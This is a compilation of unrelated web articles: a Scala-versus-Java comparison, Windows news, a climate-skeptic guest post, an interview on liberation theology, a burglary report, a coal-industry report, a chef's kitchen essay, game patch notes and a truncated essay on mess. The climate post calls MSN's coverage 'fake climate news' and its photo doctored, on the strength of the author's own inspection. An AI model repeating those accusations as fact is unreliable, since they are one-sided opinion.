Eventually I got an opportunity to implement Scala on a project I was working on. I started slowly, writing code in a more object orientated way if I didn’t know how to do it in a functional way. By using the language on a project I began to pick up new tips and tricks and my code improved over time. I didn’t try to jump ahead and become an expert straight away as I had to balance my learning with the delivery of the project for the client. I have been working with Scala for 2 years and am still picking things up as I go along. For instance there are new functional libraries I would like to start working with,” he said.  When it comes to using Scala’s advanced features, there is a high degree of complexity involved. This is why it has gotten a reputation as being a difficult language. However, for those who are learning to code from scratch, Scala’s more concise code may actually make a beginners life easier.  Functional programming  As Java was created in the 1990’s it was designed like other conventional object-oriented programming languages. However, it has since been upgraded with functional programming capability. Programmers can now use Java 8 to write functional programs. But even though Java has now introduced some functional aspects, it still strongly relies on mutable state.  On the other hand, Scala was created in the early 2000’s and was designed from the outset to be a functional programming language. Unlike Java, it has better and more advanced functional programming features like immutability, high order functions and lazy evaluation.  “Java 8 isn’t bad for everyday use, but there is a lot of noise in it. This is not because the new functional features aren’t good, it’s more to do with the Java type system, which is inferior to Scala’s. Besides, Scala has had this features for ages, so it had time to refine and improve it while it’s new in Java,” said Juliano.  Structures  Scala borrows most syntax and language features from Java. But it still has a number of structures that are not available in Java. For instance, Scala supports case classes and automatic type inference. The highly structured nature of Scala further enables programmers to convert it into domain specific language (DSL). This gives programmers the option to customise Scala’s look and feel according to the specific needs of their projects.  Interoperability  In theory, Java and Scala are cross-compatible with each other. Developers can call Java functions directly inside Scala code. But as Juliano noted previously, the process of writing Scala functions in Java code or Java functions in Scala code is not straightforward. Each language implements interfaces, collections, annotations and other features differently. So while the two languages are interoperable, these differences complicate matters. As a result, Java and Scala tend to be coded separately.  Concurrency model  With Java 8, programmers are required to use the conventional thread-based concurrency model. This technique divides a program into several concurrently running tasks at the time of execution. Conversely, Scala uses the actor model which is more modern and efficient. It allows developers to define each object as an actor with its own behaviour and mailbox. Thus, Scala simplifies thread communication and control making the entire process more efficient. However, Juliano highlighted that this doesn’t necessarily mean the process is simple.  “Basically, actors are an abstraction that allow you to model your concurrent system to have entities (or actors) sending messages to each other and them performing their jobs without human input. Conversely, when you work with traditional concurrency you have to handle low level objects like threads and executors yourself. Actors allow you to model your product with high level abstractions. But this is not easy. Concurrency always gets very complicated,” he said.  Performance  According to a test conducted by James Roper for DZone, Scala is 20% faster than Java. However, James was quick to point out in his post that this is not the full story – micro performance benchmarks rarely are.  As both languages run on JVM, their code must be compiled into bytecode in the same way before it can be run. Scala’s performance advantage derives from an optimisation technique called ‘tail call recursion’ that runs within the Scala compiler, where if the last statement in a method is a recursive call, it can get rid of that call and replace it with an iterative solution. This tail call recursion optimisation is what accounts for the performance difference found by Roper. Despite this niche optimisation, in real-terms Java and Scala have near identical performance characteristics as both languages are subject to the costs and benefits of JVM.  “Unless you are implementing a real-time product, this comparison doesn’t really matter. If the application handles network traffic, http requests or connects to a database, the impact of the language performance is insignificant.” said Juliano.  Availability of tools and frameworks  As noted earlier, Java is older and more mature than Scala. Therefore, developers have access to a broader range of editors, frameworks and tools. This is arguably Java’s biggest advantage. It will take years to build the same sort of community and archive of tools for Scala.  “Java has so many tools because it is ‘THE’ solution for the enterprise world (alongside .net). I believe most of these larger companies won’t adopt Scala because ‘it’s hard’, and there will always be greater abundance of Java developers. But the community around the Scala is already pretty big”, said Juliano.  As Scala continues to grow in popularity, new tools and frameworks are now being launched regularly. Also, Scala developers have the option to utilise several existing Java development libraries and frameworks as it is also a JVM language.  Conclusion  On the whole, Java and Scala share many similarities and both can be used for building a wide variety of applications. But each programming language has its own unique strengths and weaknesses. For this reason, it’s important to keep in mind the specific needs of a project when deciding what language to go with. Scala remains the clear choice for big-data applications but for other projects, its complexity, and fewer number of developers may offset some of the benefits it can provide.  Looking for a new tech job? Call us on 0203 137 7005 to discuss your requirements.
-You know the drill: Microsoft releases a new OS and, roughly a year later, a hefty service pack arrives with a raft of fixes and added features. Neowin is reporting that the company will put out two updates in June and October of next year, both under the codename Redstone. There'll still be the regular patches and updates, but according to ZDNet, Redstone is believed to bring support for "new classes of devices that aren't already part of Windows 10." Naturally, Microsoft has already issued a standard no comment, not that it'd be too eager to distract attention away from this summer's launch. Oh, and before you ask, Redstone is a Minecraft reference in the same way that Windows 10's codename, Threshold, was a nod to Halo. Microsoft is nothing but loyal to its first-party franchises.
-Guest post by Jim Steele  Director emeritus Sierra Nevada Field Campus, San Francisco State University and author of Landscapes & Cycles: An Environmentalist’s Journey to Climate Skepticism  MSN appears to be a source of climate fear mongering and “fake climate news” based on their story under the headlines Antarctica hits record high temperature at balmy 63.5°F .  The story was accompanied by what can only be a horribly photo-shopped photograph for the unassuming warmunista of a mushroom-shaped ice form teetering on a rocky outcrop.  Supposedly it was photographed on the opposite side of the continent from which the record temperature occurred. Climbing such a structure would be a difficult technical climb for an experienced mountaineer. Furthermore when Adele penguins come ashore to breed they avoid the ice if possible, only crossing snowfields as the seek ice-free breeding territories. Lastly if you magnify the picture 500%, the penguins become extremely pixilated, the ice chunk less so, and the background rocks even less so, a fingerprint of 3 different photographs with different resolution that have been overlain.  MSN reported, “An Argentine research base near the northern tip of the Antarctic peninsula has set a heat record at a balmy 63.5° Fahrenheit (17.5 degrees Celsius), the U.N. weather agency said on Wednesday.” The record was set in 2015 and the WMO report simply confirmed the temperature. The Wunderblog had reported in March 2015, “On March 24th Base Esperanza (under Argentinean administration) located near the northern tip of the Antarctic Peninsula reported a temperature of 17.5°C (63.5°F). Although this is the warmest temperature ever measured since weather stations became established [in 1953] on the southern continent, it is complicated by what the very definition of ‘Antarctica’ is.  To induce fear over Esperanza’s temperature record MSN writes, “Antarctica locks up 90 percent of the world’s fresh water as ice and would raise sea levels by about 60 meters (200 ft) if it were all to melt, meaning scientists are concerned to know even about extremes around the fringes.”  However high temperatures at Esperanza tell us nothing about climate change, or if there is any threat of melting ice caps or rising sea level. Instead Esperanza presents a prime example of how temperatures can rise dramatically without any increased input of heat. Argentina’s Esperanza weather station is situated on the most extreme equatorward tip of the Antarctic peninsula and its mean monthly temperature for March is -3.6 C. But Esperanza’s location subjects it to episodic warm northwesterly winds which is why it is also infamous for its foehn wind storms that can dramatically increase temperatures by 10 to 40 C degrees in a matter of hours.  This record 17 C (63.5 F) temperature recently recorded, is 20 C above average, and as expected the record temperature is the result of foehn winds. Foehn winds warm temperatures via adiabatic heating (no heat input) as descending winds passing over the nearby mountains warm from adiabatic compression. It is meaningless weather regards penguins. But no mention of foehn winds by MSN.  At least the Wunderblog, was honest about the cause of record warming in 2015 stating,  “A strong high pressure ridge and a Foehn wind led to the record temperatures as Jeff Masters explains here: This week’s record temperatures were made possible by an unusually extreme jet stream contortion that brought a strong ridge of high pressure over the Antarctic Peninsula, allowing warm air from South America to push southwards over Antarctica. At the surface, west to east blowing winds over the Antarctic Peninsula rose up over the 1,000-foot high mountains just to the west of Esperanza Base, then descended and warmed via adiabatic compression into a warm foehn wind that reached 44 mph (71 km/hr) at 09 UTC on March 24th, near when the maximum temperature was recorded. A similar event also affected Marambio on the 23rd.”  Likewise in the 2016 paper Absence of 21st century warming on Antarctic Peninsula consistent with natural variability researchers with the British Antarctic Survey reported, “The trend in the SAM led to a greater flow of mild, northwesterly air onto the AP [Antarctic Peninsula] with SAT [surface air temperature] on the northeastern side increasing most because of amplification through the foehn effect.”  This isn’t the first time such photo fakery has been used. There’s the Ursus Bogus episode, and NCDC’s fake flooded house, to name a couple. Anything for the cause – Anthony  Advertisements  Share this: Print  Email  Twitter  Facebook  Pinterest  LinkedIn  Reddit
-As progressives and academics it is very easy to dismiss the rhetorical mudslinging of performance-based news hosts such as Bill O’Reily and Glenn Beck as irrational and ill-informed. Aware of the game they are playing, we’re reluctant to give them the outraged response that, ipso facto, fuels their agenda. Seeking more erudite modes of engagement, we slouch uncomfortably into our favorite coffee shop couch while, despite our deepest wishes, their game goes on. Sometimes, however, these propagandists strike a nerve so close to home that not responding seems the greatest injustice.  Last Tuesday, Glenn Beck dedicated an entire episode to attacking liberation theology and one of its greatest proponents, James Cone. Linking Cone’s groundbreaking Black Theology and Black Power to the killing of “cracker babies,” Beck sought to show how liberation theology was both a perversion of the message of Christianity and a purveyor of radical evils. In a simplistic bifurcation, Beck contrasted liberation theology to his own view of what he called “traditional Christianity.” He claimed that salvation was a strictly personal affair and that there were no “works” we could do to receive the grace of God. Central to his concern was that liberation theology promoted “collective salvation” and resulted in communism and redistribution of wealth. On his infamous chalkboard he drew lines from James Cone to the Black Panthers, then to Reverend Jeremiah Wright, then Marx, then, you guessed it, President Obama and immigrants. Chalk lines, however, are easily erased.  But as the news and reaction to this show began to spill off the Facebook pages of James Cone’s students into the halls of Union Theological Seminary, it quickly became apparent that erasing these chalk lines and pointing out the obvious—that Glenn Beck took Cone out of context, that he repeatedly contradicts himself, that he knows nothing about the Bible or liberation theology, and so on—was too easy, and even non-productive. While such statements are undoubtedly true, might we avoid his mudslinging and ask ourselves what we can learn from Glenn Beck and his appeal?  This was the question that I was seeking to answer as I sat down with Union’s President Serene Jones and a group of students to discuss the appropriate way to address this attack on our beloved professor of liberation theology.  Given the fact that a response is what he wants and will ultimately lead to no real dialogue, why is it important to respond to Glenn Beck’s attack on liberation theology and James Cone?  The reason why he just can’t get away with doing this with no response whatsoever is that not only is there the argument he is making on television, there is also all the unspoken but evident racist, sexist, and fascist sensibilities that he is playing to in our country. The real challenge is to effectively engage those sentiments and that may mean engaging him directly or taking other directions.  Throughout the show, Beck continually claims that this has nothing to do with race. Is it safe to assume that he means what he says, and that his fear stems from a more generalized xenophobia and fear of the other?  Perhaps you could call it xenophobia. But I read it more as an appeal to some of our most vulnerable and troubling instincts as human beings. When the world seems uncertain and unsteady, we want to stabilize it by figuring out who we can hate so that our world becomes stabilized by making us the good guy. He plays to that sentiment. This is where the racism, sexism, and fascism come in. They appeal to all of those unconscious fears that we have and they run the spectrum. Racism is always just a general subcategory of playing on that fear.  Glenn Beck obviously has a large following, many of which may be the very poor and oppressed that liberation theology seeks to speak to. In what ways might progressive Christianity seek these other directions?  My guess is that the people who are most attracted to the perspective that he outlines are not attracted to it because of its carefully reasoned argument, but because it gives voice to a general sense of frustration and fear. And so how is progressive Christianity able to address that? Only by addressing it in the long run by understanding the sources of peoples’ fears and the social/structural issues that make people feel so vulnerable. Attacking Glenn Beck head on is not the way to reach the fears of his audience—it would probably only fuel their fears. So the bigger picture as a theological educator, a minister, a theologian and a person of faith is that you address the fears that fuel it by being prophets of grace.  It is important that you mention grace, as Beck’s entire show plays on a simple bifurcation between personal and collective faith and salvation. He claims that liberation theology “deals exclusively with external realities” and does not address the issues of personal grace. What role does grace play in liberation theology?  In that show it is ludicrous that on the one hand he is saying that there is no such thing as social justice in the gospel—that we are supposed to take care of people because we simply want to—and that everything happens by virtue of merit. It is a very muscular sense of personal ethics. But then he turns around and says that grace reminds us that ethics does not matter at all. In fact, grace is a very important political concept. Just as grace reminds us as individuals that there is nothing we can do to earn the love of God—that it is simply poured out upon us—so too it reminds us that at a political level, the minute we start constructing political structures that we think are unambiguously right, we are making our own politics into God. Nobody does that more than Glenn Beck.  Glenn Beck calls for context at the beginning of his show. Dr. Cone wrote Black Theology and Black Power in 1969 in the heat of the Civil Rights Movement and Beck’s great fear is that immigrants will latch on to it; do you think there is a parallel?  The answer goes back to the fear of the Other. Immigration puts that squarely before us as a nation. But what Reinhold Niebuhr, Martin Luther King Jr., and James Cone remind us of is that the ultimate test of any community or identity is how it manages that border between what is known and what is outside. We live in a country that has a long history of sometimes doing that well and sometimes doing that in horrific ways. Glenn Beck plays on the edge of that border all the time. The thing about grace is that it removes the line altogether and gives us a completely different way to think about meaning.  ***  Perhaps what surprised the students and professors of Union Theological Seminary the most was that, at least in the eyes of Glenn Beck, liberation theology is still a potent and vital force in American culture. By dedicating an entire show to James Cone and liberation theology, he is actually undermining his own position by giving public voice to a theology that in so many ways has receded from the headlines as an important influence. This exposure might draw us all to reflection, not just to reaction. If Beck can serve as any sort of signifier, then liberation theology is still important and clearly has a future. Unlike Beck, I look forward to the day that a young immigrant worker picks up a copy of God of the Oppressed and realizes her humanity through it.  James Cone once said in class that if you can write a book that people are still talking about 40 years later, then you might have had something very important to say. At the 41st anniversary of Black Theology and Black Power, we thank you, Glenn Beck, for reminding us of its growing importance.
-THIS could be Queensland’s most shameless thief.  An Ashgrove woman whose house had been robbed was shocked to find a post on Facebook – from her own account – telling her she should be more careful with security.  Her laptop, cash, jewellery and a list of passwords were stolen, prompting police to warn “virtual” possessions could become more valuable to thieves than typical household items.  “Sorry, I left the keys in the hat out the front because I can’t drive a manual, and I did not take your chargers … they’re in a drawer maybe,” the Facebook post from the thief said.  “I try to be considerate, you should change your password and use more secure ones, and a locking filing cabinet, your passports will be returned to you, your locks are fine and rather tough to pick, no prints on anything for sure, sincerest apologies.”  Inner West Patrol Group acting Inspector Corey Allen told The Courier-Mail that although the case was an exception, it showed that thieves could target digital items through a house break-in.  The thief was also able to withdraw cash from a nearby ATM after the break-in.  “If they grab your wallet they might get $100 but if they grab your password they could get $1000 by getting on to your phone or computer,” he said.  “They could technically get into your internet banking, your social media.  “Computers and our phones, they are not just for typing a letter and making a phone call anymore; it is a digital life and he’s invaded that space as well.”  Fraud and Cyber Crime squad Detective Superintendent Brian Hay said he was not aware of an increase in break-ins targeting digital items.  He said the woman did not do the wrong thing by storing passwords but he warned people should be discreet about where they store hard copies of passwords.  “It’s opportunistic – I can see the time coming down the track when computers will be stolen not for re-sale value of dealing in a second-hand situation but actually (for) acquiring the data that is on the computer,” he said.  Det Supt Hay said people should consider not using their full names in online profiles unless it was for a specific purpose.  Insp Allen said people should change passwords if they thought they were compromised, move password lists to a more secure area and de-authorise computers.  “Storing passwords – they really are the key to your digital life – if you store them in a way that is easy for people to find, this is an example of what can happen,” he said.  The disturbing burglary sadly isn’t the only chilling account of a break-in.  Earlier this year a New Farm woman told how she woke to find a man standing in her room watching her sleep. At the time police warned of a naked peeping tom in the area who had broken into homes.  And who could forget the eery footage of a hooded burglar caught on tape creeping around a pensioner’s home as she slept in a chair in her UK home? The pensioner had installed cameras after being burgled at least four times in 12 months.  News_Rich_Media: A burglar in the has been caught on hidden camera multiple times walking around an elderly woman’s home while she was asleep in the lounge room on a chair.  For safety tips go to police.qld.gov.au/programs/cscp/eCrime/
-Global Wave of New Coal Plants Is Going Bust, New Report Finds  Today, the Sierra Club and CoalSwarm, keeper of the global coal plant tracker database, released a comprehensive report on the global coal pipeline -- and the news is big. The global boom in coal-fired power plant construction is going bust.  Since 2010, for every coal plant completed worldwide, two proposed coal plants have been shelved or canceled. We have known for a while that the coal industry was facing serious headwinds -- even banks like Citi and Goldman Sachs have been warning of coal’s impending decline -- but the scale of project failure should be a wakeup call to anyone who still thinks the coal industry’s salvation lies in a 21st-century global coal boom.  Globally, in 2014, for the first time ever, carbon emissions were flat as the world economy grew, largely due to reduced coal use and the expansion of clean energy. Even as coal use continues its rapid decline in the United States with 187 coal plants announced for retirement since 2010, thanks in large part to widespread grassroots pressure from communities demanding an end to deadly pollution, the U.S. coal industry was counting on a booming exports business to keep it afloat. But today’s report shows this is simply not going to happen.  According to this new report, coal use in China declined for the first time in 2014, while the economy simultaneously grew at 7.3 percent, proving that coal is not synonymous with growth. The picture in India is even more dismal for coal companies looking to the subcontinent for salvation. There, for every one project that was completed, six were shelved or canceled. And that coal renaissance that was supposedly going to take place in Europe? In the EU, retired coal capacity outpaced new capacity by 22 percent. Nowhere is the European shift away from coal more apparent than in the UK, where the leaders of the three main political parties recently made a joint commitment to accelerate the shift to a low carbon economy and to end the use of unabated coal for electricity.  The evaporation of coal prospects overseas also buoys the work of local residents and First Nation communities as they fight to stop new coal export terminals in the Pacific Northwest and the Gulf of Mexico. These groups have been working to demonstrate the devastating effects that the proposed railway and port infrastructure would have on human health and traditional fishing. All along, activists have worked to show that these coal projects were financially untenable. This new report provides further evidence that coal industry forecasts of an insatiable coal boom in Asia were more marketing pitch than business plan. This will further undermine the remaining projects, as the proposed export terminals continue to fall like dominoes under the combined pressure of grassroots activism and economic realities.  But there is also a warning to accompany this good news. While larger trends are turning against coal, there are still over 1,000 gigawatts of new coal-fired generation proposed worldwide. This may not be enough to revive the coal industry in the face of accelerating coal plant retirements, but it is enough to devastate the climate and public health. To avoid catastrophic climate disruption and the global instability and human suffering it would cause, we must continue building on the progress found in the report to phase out coal plants and replace them with clean energy.  With attention turning toward the COP21 climate negotiations in Paris this December, it is critical that countries commit to ending subsidies and policies that favor coal, and instead focus on cutting-edge clean energy solutions that not only create jobs but also protect public health. As the latest reports on carbon emissions make clear, we’re moving in the right direction. Whether or not we can reach a meaningful global agreement will depend, in large part, on whether countries can continue making the progress identified in this report -- phasing out dangerous, outdated, and polluting energy, while deploying the clean energy technologies of the 21st century.
-Good food, good eating, is all about blood and organs, cruelty and decay. It’s about sodium-loaded pork fat, stinky triple-cream cheeses, the tender thymus glands and distended livers of young animals. It’s about danger—risking the dark, bacterial forces of beef, chicken, cheese, and shellfish. Your first two hundred and seven Wellfleet oysters may transport you to a state of rapture, but your two hundred and eighth may send you to bed with the sweats, chills, and vomits. Gastronomy is the science of pain. Professional cooks belong to a secret society whose ancient rituals derive from the principles of stoicism in the face of humiliation, injury, fatigue, and the threat of illness. The members of a tight, well-greased kitchen staff are a lot like a submarine crew. Confined for most of their waking hours in hot, airless spaces, and ruled by despotic leaders, they often acquire the characteristics of the poor saps who were press-ganged into the royal navies of Napoleonic times—superstition, a contempt for outsiders, and a loyalty to no flag but their own. A good deal has changed since Orwell’s memoir of the months he spent as a dishwasher in “Down and Out in Paris and London.” Gas ranges and exhaust fans have gone a long way toward increasing the life span of the working culinarian. Nowadays, most aspiring cooks come into the business because they want to: they have chosen this life, studied for it. Today’s top chefs are like star athletes. They bounce from kitchen to kitchen—free agents in search of more money, more acclaim. I’ve been a chef in New York for more than ten years, and, for the decade before that, a dishwasher, a prep drone, a line cook, and a sous-chef. I came into the business when cooks still smoked on the line and wore headbands. A few years ago, I wasn’t surprised to hear rumors of a study of the nation’s prison population which reportedly found that the leading civilian occupation among inmates before they were put behind bars was “cook.” As most of us in the restaurant business know, there is a powerful strain of criminality in the industry, ranging from the dope-dealing busboy with beeper and cell phone to the restaurant owner who has two sets of accounting books. In fact, it was the unsavory side of professional cooking that attracted me to it in the first place. In the early seventies, I dropped out of college and transferred to the Culinary Institute of America. I wanted it all: the cuts and burns on hands and wrists, the ghoulish kitchen humor, the free food, the pilfered booze, the camaraderie that flourished within rigid order and nerve-shattering chaos. I would climb the chain of command from mal carne (meaning “bad meat,” or “new guy”) to chefdom—doing whatever it took until I ran my own kitchen and had my own crew of cutthroats, the culinary equivalent of “The Wild Bunch.” A year ago, my latest, doomed mission—a high-profile restaurant in the Times Square area—went out of business. The meat, fish, and produce purveyors got the news that they were going to take it in the neck for yet another ill-conceived enterprise. When customers called for reservations, they were informed by a prerecorded announcement that our doors had closed. Fresh from that experience, I began thinking about becoming a traitor to my profession.  Say it’s a quiet Monday night, and you’ve just checked your coat in that swanky Art Deco update in the Flatiron district, and you’re looking to tuck into a thick slab of pepper-crusted yellowfin tuna or a twenty-ounce cut of certified Black Angus beef, well-done—what are you in for? The fish specialty is reasonably priced, and the place got two stars in the Times. Why not go for it? If you like four-day-old fish, be my guest. Here’s how things usually work. The chef orders his seafood for the weekend on Thursday night. It arrives on Friday morning. He’s hoping to sell the bulk of it on Friday and Saturday nights, when he knows that the restaurant will be busy, and he’d like to run out of the last few orders by Sunday evening. Many fish purveyors don’t deliver on Saturday, so the chances are that the Monday-night tuna you want has been kicking around in the kitchen since Friday morning, under God knows what conditions. When a kitchen is in full swing, proper refrigeration is almost nonexistent, what with the many openings of the refrigerator door as the cooks rummage frantically during the rush, mingling your tuna with the chicken, the lamb, or the beef. Even if the chef has ordered just the right amount of tuna for the weekend, and has had to reorder it for a Monday delivery, the only safeguard against the seafood supplier’s off-loading junk is the presence of a vigilant chef who can make sure that the delivery is fresh from Sunday night’s market. Generally speaking, the good stuff comes in on Tuesday: the seafood is fresh, the supply of prepared food is new, and the chef, presumably, is relaxed after his day off. (Most chefs don’t work on Monday.) Chefs prefer to cook for weekday customers rather than for weekenders, and they like to start the new week with their most creative dishes. In New York, locals dine during the week. Weekends are considered amateur nights—for tourists, rubes, and the well-done-ordering pretheatre hordes. The fish may be just as fresh on Friday, but it’s on Tuesday that you’ve got the good will of the kitchen on your side. People who order their meat well-done perform a valuable service for those of us in the business who are cost-conscious: they pay for the privilege of eating our garbage. In many kitchens, there’s a time-honored practice called “save for well-done.” When one of the cooks finds a particularly unlovely piece of steak—tough, riddled with nerve and connective tissue, off the hip end of the loin, and maybe a little stinky from age—he’ll dangle it in the air and say, “Hey, Chef, whaddya want me to do with this?” Now, the chef has three options. He can tell the cook to throw the offending item into the trash, but that means a total loss, and in the restaurant business every item of cut, fabricated, or prepared food should earn at least three times the amount it originally cost if the chef is to make his correct food-cost percentage. Or he can decide to serve that steak to “the family”—that is, the floor staff—though that, economically, is the same as throwing it out. But no. What he’s going to do is repeat the mantra of cost-conscious chefs everywhere: “Save for well-done.” The way he figures it, the philistine who orders his food well-done is not likely to notice the difference between food and flotsam. Then there are the People Who Brunch. The “B” word is dreaded by all dedicated cooks. We hate the smell and spatter of omelettes. We despise hollandaise, home fries, those pathetic fruit garnishes, and all the other cliché accompaniments designed to induce a credulous public into paying $12.95 for two eggs. Nothing demoralizes an aspiring Escoffier faster than requiring him to cook egg-white omelettes or eggs over easy with bacon. You can dress brunch up with all the focaccia, smoked salmon, and caviar in the world, but it’s still breakfast. Even more despised than the Brunch People are the vegetarians. Serious cooks regard these members of the dining public—and their Hezbollah-like splinter faction, the vegans—as enemies of everything that’s good and decent in the human spirit. To live life without veal or chicken stock, fish cheeks, sausages, cheese, or organ meats is treasonous. “It’s been done, but I don’t think it’s been redone.”  Like most other chefs I know, I’m amused when I hear people object to pork on nonreligious grounds. “Swine are filthy animals,” they say. These people have obviously never visited a poultry farm. Chicken—America’s favorite food—goes bad quickly; handled carelessly, it infects other foods with salmonella; and it bores the hell out of chefs. It occupies its ubiquitous place on menus as an option for customers who can’t decide what they want to eat. Most chefs believe that supermarket chickens in this country are slimy and tasteless compared with European varieties. Pork, on the other hand, is cool. Farmers stopped feeding garbage to pigs decades ago, and even if you eat pork rare you’re more likely to win the Lotto than to contract trichinosis. Pork tastes different, depending on what you do with it, but chicken always tastes like chicken. Another much maligned food these days is butter. In the world of chefs, however, butter is in everything. Even non-French restaurants—the Northern Italian; the new American, the ones where the chef brags about how he’s “getting away from butter and cream”—throw butter around like crazy. In almost every restaurant worth patronizing, sauces are enriched with mellowing, emulsifying butter. Pastas are tightened with it. Meat and fish are seared with a mixture of butter and oil. Shallots and chicken are caramelized with butter. It’s the first and last thing in almost every pan: the final hit is called “monter au beurre.” In a good restaurant, what this all adds up to is that you could be putting away almost a stick of butter with every meal.  If you are one of those people who cringe at the thought of strangers fondling your food, you shouldn’t go out to eat. As the author and former chef Nicolas Freeling notes in his definitive book “The Kitchen,” the better the restaurant, the more your food has been prodded, poked, handled, and tasted. By the time a three-star crew has finished carving and arranging your saddle of monkfish with dried cherries and wild-herb-infused nage into a Parthenon or a Space Needle, it’s had dozens of sweaty fingers all over it. Gloves? You’ll find a box of surgical gloves—in my kitchen we call them “anal-research gloves”—over every station on the line, for the benefit of the health inspectors, but does anyone actually use them? Yes, a cook will slip a pair on every now and then, especially when he’s handling something with a lingering odor, like salmon. But during the hours of service gloves are clumsy and dangerous. When you’re using your hands constantly, latex will make you drop things, which is the last thing you want to do. Sign Up for The Sunday Archive Newsletter Read classic New Yorker stories, curated by our archivists and editors. Finding a hair in your food will make anyone gag. But just about the only place you’ll see anyone in the kitchen wearing a hat or a hairnet is Blimpie. For most chefs, wearing anything on their head, especially one of those picturesque paper toques—they’re often referred to as “coffee filters”—is a nuisance: they dissolve when you sweat, bump into range hoods, burst into flame. The fact is that most good kitchens are far less septic than your kitchen at home. I run a scrupulously clean, orderly restaurant kitchen, where food is rotated and handled and stored very conscientiously. But if the city’s Department of Health or the E.P.A. decided to enforce every aspect of its codes, most of us would be out on the street. Recently, there was a news report about the practice of recycling bread. By means of a hidden camera in a restaurant, the reporter was horrified to see returned bread being sent right back out to the floor. This, to me, wasn’t news: the reuse of bread has been an open secret—and a fairly standard practice—in the industry for years. It makes more sense to worry about what happens to the leftover table butter—many restaurants recycle it for hollandaise. What do I like to eat after hours? Strange things. Oysters are my favorite, especially at three in the morning, in the company of my crew. Focaccia pizza with robiola cheese and white truffle oil is good, especially at Le Madri on a summer afternoon in the outdoor patio. Frozen vodka at Siberia Bar is also good, particularly if a cook from one of the big hotels shows up with beluga. At Indigo, on Tenth Street, I love the mushroom strudel and the daube of beef. At my own place, I love a spicy boudin noir that squirts blood in your mouth; the braised fennel the way my sous-chef makes it; scraps from duck confit; and fresh cockles steamed with greasy Portuguese sausage.
-Updates to Team Fortress 2 have been released. The updates will be applied automatically when your Steam client is restarted. The specific changes include:  Team Fortress 2  Added "tf_allow_player_use" server ConVar to control players executing +use while playing (defaults to 0)  Fixed a bug where full backpacks resulted in an item being repeatedly found each time the game is started  Fixed being able to burn players/buildings that are in the water while standing outside the water  Fixed teleporting Spies getting stuck in enemy players standing on the exit  Fixed server log not listing telefrag kills as weapon "telefrag"  Fixed the Pyro's airblast pushing Spectators in free-look mode  Fixed Pyro's Hadouken killing Scouts that have used Bonk! and are phasing  Fixed freezecam screenshots sometimes being saved outside the Screenshots folder  Fixed deathnotice and server log entries not using the unique item names/icons when buildings are destroyed  Fixed a case where the weapon selection menu wasn't drawing the images of non-standard items if the player was using hud_fastswitch 1 and using slot7-10 to view the panel  Fixed CTF HUD not centering the flag panel if there is only one active flag  Community requests  Added the ability to set a parent for the item_teamflag entity  Added OnPickUpTeam1 and OnPickUpTeam2 outputs to the item_teamflag entity  Added intro movie .mp3 files to the sound/misc folder  Click to expand...
-By  Messes are intimate, secret, somewhat shameful. Mess is supposed to be kept backstage. Posting this picture of my messy workspace is almost as embarrassing and inappropriate as posting nudes, but it’s necessary aesthetic background:  All the new thinking about mess is apologetics: what if mess is good? Perhaps mess makes us more creative. Messiness is a sign of intelligence. All that. As a pathologically messy person, I cannot concur with this glorification of mess. Being in a messy environment is stressful and discouraging. There is an unease that remains even when you block out the conscious awareness of mess.  This is not say that mess is a pure bad. Mess is not even necessarily ugly. The famous photograph of Albert Einstein’s desk, taken on the day he died, is a particularly picturesque mess. This is recognizably a mess, but it is calming to look at, and deeply touches our personal feelings. It has mono no aware.  Most mess is not pleasing to look at, especially when experienced raw, without the benefit of a photographer imposing an overall order on the mess through composition and a monochrome palette.  Alan Watts is, as far as I know, the premier ordinary language philosopher of mess. He enters the problem with an observation: clouds are not a mess.  When you look at the clouds they are not symmetrical. They do not form fours and they do not come along in cubes, but you know at once that they are not a mess. A dirty old ashtray full of junk may be a mess but clouds do not look like that. When you look at the patterns of foam on water they never make an artistic mistake and they are not a mess. They are wiggly but in a way, orderly, although it is difficult for us to describe that kind of order.  Alan Watts, The Tao of Philosophy, p. 27.  Watts observes that elements of the natural world – clouds, foam on water, the stars, human beings – are not messes, though the nature of their order remains inscrutable, and Watts doesn’t try to pin down its precise nature. Mess seems to be somehow a property perceptible only in the presence of human artifacts. Is this the result of some kind of aesthetic original sin on the part of humans, uncanny beings severed from the holiness of Nature? I hope not. “Humans are bad” is a boring answer.  We can learn something about order from the mystery of mess. We start here: a cloud is not a mess, but an ashtray full of cigarette butts is a mess. In tracking down why this is so, we will find, through the lens of the mess and the non-mess, a clue to the hidden orders in our minds.  Mess Is Not Shannon Entropy  What is salient about mess is disorder. At the outset, we might be tempted to think of mess and disorder as the mere absence of order. But we will see that mess cannot be present without the visual implication of a legible order.  In the abstract language of information theory, the kind of disorder called entropy is the lack of structure or compressibility in data. Consider a rectangular field of pixels which can be either black or white. A field of pure black or pure white has maximum order in the sense of Shannon entropy: you hardly need any bits to explain how to recreate the image. This is not a mess.  On the other hand, consider a rectangle of pixels specified by a random process, with black and white equally likely. There is no way to compress this data: each pixel must be specified separately. It has maximum entropy (within this monochrome, rectangular, pixelated problem space). But it is not a mess.  Finally, consider this rectangle of black and white pixels:  This rectangle takes fewer bits to specify than the randomly pixelated rectangle. There are repeated letter forms, geometric forms, patches of black and white. There is much more order and compressibility here. And it’s a mess.  Consider also the clouds. When Alan Watts notes that they are not symmetrical and do not come along in cubes, this is a way of saying that the number of bits necessary to specify a picture of the clouds is quite high. They have high entropy, they contain a lot of information, yet they are not mess.  Is it possible for any fluffy white thing in the sky to be a mess? Imagine a skywriter convention, with many planes writing words in different fonts (some in single lines, some in dot matrix style) across the sky. Gradually the wind obscures the legibility of some letters. This seems like a mess. But, again, this sky requires fewer bits to specify: patterns of letters and dots are repeated and may be specified as mathematical shapes rather than pixel by pixel.  It seems that human artifacts made from natural materials do not decay into mess, while human artifacts made from highly ordered artificial materials (sheet rock, plastic) decay into mess. Compare this rough stone ruin overgrown with moss  with the ruins of a rectilinear room made from highly ordered materials:  The stone ruin is not a mess, but the rectilinear green ruin is clearly a mess. And again, it would take us more bits to specify the mossy stone ruin than the crumbling painted interior, with its straight lines and even flat surfaces interrupted by corruption and decay.  So here is a mystery: why are tableaux that are apparently more orderly (in the sense of compressibility in the data required to specify them) also more messy? Let me offer a few more hints, in the form of definitions supplied by my friends, before I reveal the answer. Sam Burnstein notes a connection to intentionality: “Messes are low-intentionality as a whole but high-intentionality in their component pieces.” “A mess is a decaying purpose,” says @allgebrah. Chris Beiser deconstructs the experience of mess: “Mess is an incomplete aesthetic experience composed of a surplus of objects that produce aesthetic experiences (often themselves incomplete) of vastly different types and durations, without a canonical ordering.” And Daniel Klein hints at the implied user interface of mess in conceiving of “mess as matter deficient in side-effect-free 